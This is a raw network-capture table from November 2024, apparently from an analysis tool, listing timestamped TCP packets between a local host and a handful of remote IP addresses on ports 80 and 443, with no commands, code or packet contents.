Nov 8, 2024 15:20:43.069818974 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.069845915 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.069859982 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.069859982 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.069888115 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.069889069 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.069904089 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.069916964 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.069919109 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.069936037 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.069956064 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.069983006 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.069998026 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070012093 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070020914 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070050955 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070517063 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070532084 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070554018 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070561886 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070580959 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070590973 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070595026 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070611000 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070616961 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070632935 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070641994 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070647001 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070653915 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070676088 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070730925 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070743084 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070765972 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070770979 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070784092 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070791960 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070805073 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070813894 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070826054 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070836067 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070852041 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070857048 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070872068 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070883989 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070884943 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070919037 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070924044 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070934057 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070949078 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070955992 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070966005 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.070971012 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.070990086 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071002007 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071059942 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071096897 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071100950 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071115971 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071136951 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071157932 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071193933 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071208000 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071221113 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071230888 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071235895 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071249962 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071264029 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071274042 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071279049 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071321011 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071363926 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071377993 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071391106 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071402073 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071404934 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071419954 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071420908 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071430922 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071434975 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071455956 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071480036 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071557045 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071571112 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:43.071597099 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:43.071614981 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:44.700829983 CET	49709	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:44.700858116 CET	443	49709	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:44.700953007 CET	49709	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:44.702938080 CET	49709	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:44.702953100 CET	443	49709	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:45.125767946 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:45.125788927 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:45.125855923 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:45.126187086 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:45.126200914 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:45.233329058 CET	49713	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:45.233369112 CET	443	49713	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:45.233503103 CET	49713	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:45.233951092 CET	49713	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:45.233963966 CET	443	49713	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:45.397051096 CET	49714	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:45.397084951 CET	443	49714	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:45.397162914 CET	49714	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:45.397910118 CET	49714	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:45.397927046 CET	443	49714	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:45.582681894 CET	443	49709	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:45.583194971 CET	49709	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:45.583210945 CET	443	49709	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:45.584330082 CET	443	49709	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:45.584405899 CET	49709	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:45.585900068 CET	49709	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:45.586004019 CET	443	49709	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:45.586076975 CET	49709	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:45.627542019 CET	49709	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:45.627568960 CET	443	49709	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:45.675204039 CET	49709	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.110565901 CET	443	49709	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.110610008 CET	443	49709	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.110635042 CET	443	49709	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.110697031 CET	49709	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.110723972 CET	443	49709	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.110774994 CET	49709	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.112483025 CET	443	49709	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.112859011 CET	49709	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.112894058 CET	443	49709	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.113018990 CET	443	49709	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.113075972 CET	49709	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.113090038 CET	49709	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.131745100 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.132188082 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.132204056 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.133249044 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.133328915 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.133887053 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.133949041 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.134064913 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.134072065 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.148235083 CET	443	49713	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.148597956 CET	49713	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.148622036 CET	443	49713	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.149705887 CET	443	49713	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.149759054 CET	49713	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.150448084 CET	49713	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.150528908 CET	443	49713	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.150705099 CET	49713	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.150713921 CET	443	49713	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.175395966 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.191003084 CET	49713	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.243659019 CET	443	49714	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.244119883 CET	49714	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.244134903 CET	443	49714	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.245230913 CET	443	49714	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.245321035 CET	49714	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.245904922 CET	49714	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.246004105 CET	443	49714	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.286137104 CET	49714	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.286154985 CET	443	49714	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.346869946 CET	49714	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.426171064 CET	443	49713	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.435781002 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.435830116 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.435853958 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.435883045 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.435903072 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.435914993 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.435940027 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.435940981 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.435985088 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.435992956 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.444437981 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.444535017 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.444542885 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.471895933 CET	49713	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.471913099 CET	443	49713	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.473001003 CET	49713	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.473098993 CET	443	49713	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.473222017 CET	49713	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.487483978 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.487493992 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.534159899 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.554879904 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.554968119 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.555111885 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.555121899 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.555445910 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.555525064 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.555531979 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.559545040 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.563570976 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.563577890 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.568465948 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.569544077 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.569555998 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.577151060 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.579399109 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.579412937 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.588787079 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.588881969 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.588888884 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.594414949 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.594474077 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.594480038 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.603621960 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.603697062 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.603703976 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.611563921 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.611639023 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.611644983 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.659154892 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.659169912 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.671262026 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.671298981 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.671339989 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.671364069 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.671371937 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.671402931 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.671605110 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.672131062 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.672137022 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.672240973 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.672272921 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.672290087 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.672296047 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.672614098 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.676436901 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.678416014 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.678446054 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.678474903 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.678481102 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.678805113 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.686108112 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.691981077 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.692009926 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.692027092 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.692033052 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.692322969 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.698245049 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.702933073 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.702961922 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.702996016 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.703003883 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.703310013 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.709064960 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.715708017 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.715756893 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.715769053 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.715781927 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.715822935 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.720911026 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.726892948 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.726969004 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.726982117 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.733805895 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.733848095 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.733867884 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.733875036 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.734196901 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.739023924 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.744967937 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.745001078 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.745032072 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.745045900 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.745414019 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.750994921 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.757137060 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.757224083 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.757231951 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.788312912 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.788356066 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.788389921 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.788414001 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.788427114 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.788436890 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.788466930 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.788501024 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.788553953 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.788561106 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.788803101 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.788809061 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.788996935 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.789026022 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.789084911 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.789091110 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.789299965 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.792140961 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.792578936 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.792634964 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.792642117 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.797305107 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.797379971 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.797386885 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.802496910 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.803519964 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.803529024 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.806828976 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.806899071 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.806904078 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.843481064 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.843518019 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.843552113 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.843558073 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.843566895 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.843609095 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.843616009 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.843652010 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.843669891 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.843683004 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.843714952 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.843725920 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.843729973 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.843915939 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.843939066 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.843961954 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.843967915 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.843977928 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.844238997 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:46.844274044 CET	443	49712	142.250.186.100	192.168.2.8
Nov 8, 2024 15:20:46.844333887 CET	49712	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:47.988832951 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:47.988895893 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:49.192441940 CET	49720	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:49.192476034 CET	443	49720	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:49.192564011 CET	49720	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:49.194885969 CET	49720	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:49.194916010 CET	443	49720	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:49.641947985 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:49.641988039 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:49.642055988 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:49.642653942 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:49.642673016 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.142995119 CET	443	49720	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:50.143074989 CET	49720	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:50.145401955 CET	49723	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:20:50.145451069 CET	443	49723	52.149.20.212	192.168.2.8
Nov 8, 2024 15:20:50.145553112 CET	49723	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:20:50.146866083 CET	49720	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:50.146877050 CET	443	49720	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:50.147104979 CET	443	49720	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:50.148086071 CET	49723	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:20:50.148102045 CET	443	49723	52.149.20.212	192.168.2.8
